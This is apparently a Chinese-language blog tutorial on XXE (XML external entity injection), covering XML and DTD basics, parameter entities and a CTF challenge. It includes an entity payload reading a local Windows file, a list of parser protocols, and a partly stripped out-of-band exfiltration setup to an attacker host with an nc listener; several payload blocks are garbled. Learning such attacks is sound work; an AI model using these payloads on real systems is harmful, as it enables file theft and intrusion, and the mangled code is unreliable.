玩命加载中 . . .

XXE


XXE漏洞

1. 概念

  • XXE漏洞全称XML External Entity Injection, 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击
    内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

  • 触发点:可上传xml文件,并且没有过滤

2.XML基础知识

  • XML指可扩展标记语言( Extensible Markup Language),XML被设计用来传输和存储数据。

  • XML语言没有预定义的标签,允许作者定义自己的标签和自己的文档结构

  • 语法规则: .

    • XML文档必须有一个根元素

    • XML元素都必须有一个关闭标签

      &lt; < (小于号)
      &gt; > (大于号)
      &amp; & (和号)
      &apos; …… (省略号)
      &quot; " (双引号)
  • XML标签对大小敏感(前后标签必须大小写一致)

  • XML元秦必须被正确的嵌套

  • XML属性值必须加引号

  • <?xml version="1.0" encoding="ISO-8859-1"?>
    <!--  这是注释 -->
    <note> 
    <to>George</to>
    <from>John</from>
    <heading> Reminder</heading>
        //<hello> 2>1 </hello>   //这个“大于号>”不会产生错误
        //<haha> 1<2 </haha>     //这个小于号会产生错误,会被识别为标签开始的地方,所以有些字符需要用其他方法代替
    <body>Don't forget the meeting! </body>
    </note>
    
  • <?xml version="1.0"?>
    <!DOCTYPE mail[
    <!ELEMENT mail (message)>
    <!ENTITY hacker SYSTEM "file:///C:/Windows/win.ini">
    ]>
    <mail>
    <message>&hacker;</message>
    </mail>
    <!-- 这是一个包含本地文件的例子,通过file进行本地文件包含-->
  • 与file类似的协议:

    libxml2 PHP Java .NET
    file、http、ftp file、http、ftp file、http、ftp file、http、ftp
    php、compress.zlib、compress.bzip2、data、glob、phar https、jar、netdoc、mailto、gopher https
  • 加了扩展之后支持的协议增加

    Scheme Extension Required
    https、ftps OpenSSL
    zip zip
    ssh2.shell
    ssh2.exec
    ssh2.tunnel
    ssh2.sftp
    ssh2.scp
    ssh2
    rar rar
    ogg oggvorbis
    expect expect

3.DTD(文档类型定义)

  • DTD (文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

  • <?xml version="1.0"?>
    <!DOCTYPE note[
        <!ELEMENT note (to, from , heading, body)>
        <!ELEMENT to        (#PCDATA)>
        <!ELEMENT from         (#PCDATA)>
        <!ELEMENT heading    (#PCDATA)>
        <!ELEMENT body         (#PCDATA)>
    ]>
    <!-- <!DOCTYPE note[]>  这个是内部声明语句,note是根元素,[]内的是元素声明,都可自定义 -->
    <note>
        <to>George</to>
        <from> John</from> 
        <heading>Reminder</heading>
        <body>Don't forget the meeting !</body>
    </note>
    <!-- PCDATA 的意思是被解析的字符数据。PCDATA是会被解析器解释的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当做标记来处理,而实体会被展开 -->

4.参数实体

  • 参数实体只用于DTD和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体。参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。 该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容

  • 
    
        ">  
        %param1;   
    ]>
    
    &internal; 
    
    
    
  • 无回显简单利用

    
    
    
    
    %xxe ;
    %all ;
    ]>
    < foo>&send;
    
    
    flag
    
    
    ">
    
    

5.XXE题目

  • http://web.jarvisoj.com:9882/

    • 题目描述:
    • 请设法获得目标机器/hqme/ctf/flag.txt中的flag值
    • (这种题目一般会告诉你flag在哪里)
  • 铺垫内容

    //使用SimpLeXMLELement进行实例化,对xml文件处理的php函数
    < ?php
    $data = file_get_contents('php://input');   //读取一个文件
        #$xml = simplexml_load_string($data);
    $xml = new SimpLeXMLELement($data);
    foreach($xml as $key => $value){
        echo "key:".$key."value:".$value "<br>";
    }
        #var_dump($xml);
    ?>
    
  • 
     
    %send;
    %test;
    %back;
    ]>
    
  • 
     
    ">
    
    //攻击机是xx.xx.xx.xx,用nc -lvp 监听2333口就可以了

6.注意

  • 实体中嵌入实体,%不能出现,所以要使用&#x25&#37去代替

文章作者: kylin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kylin !
  目录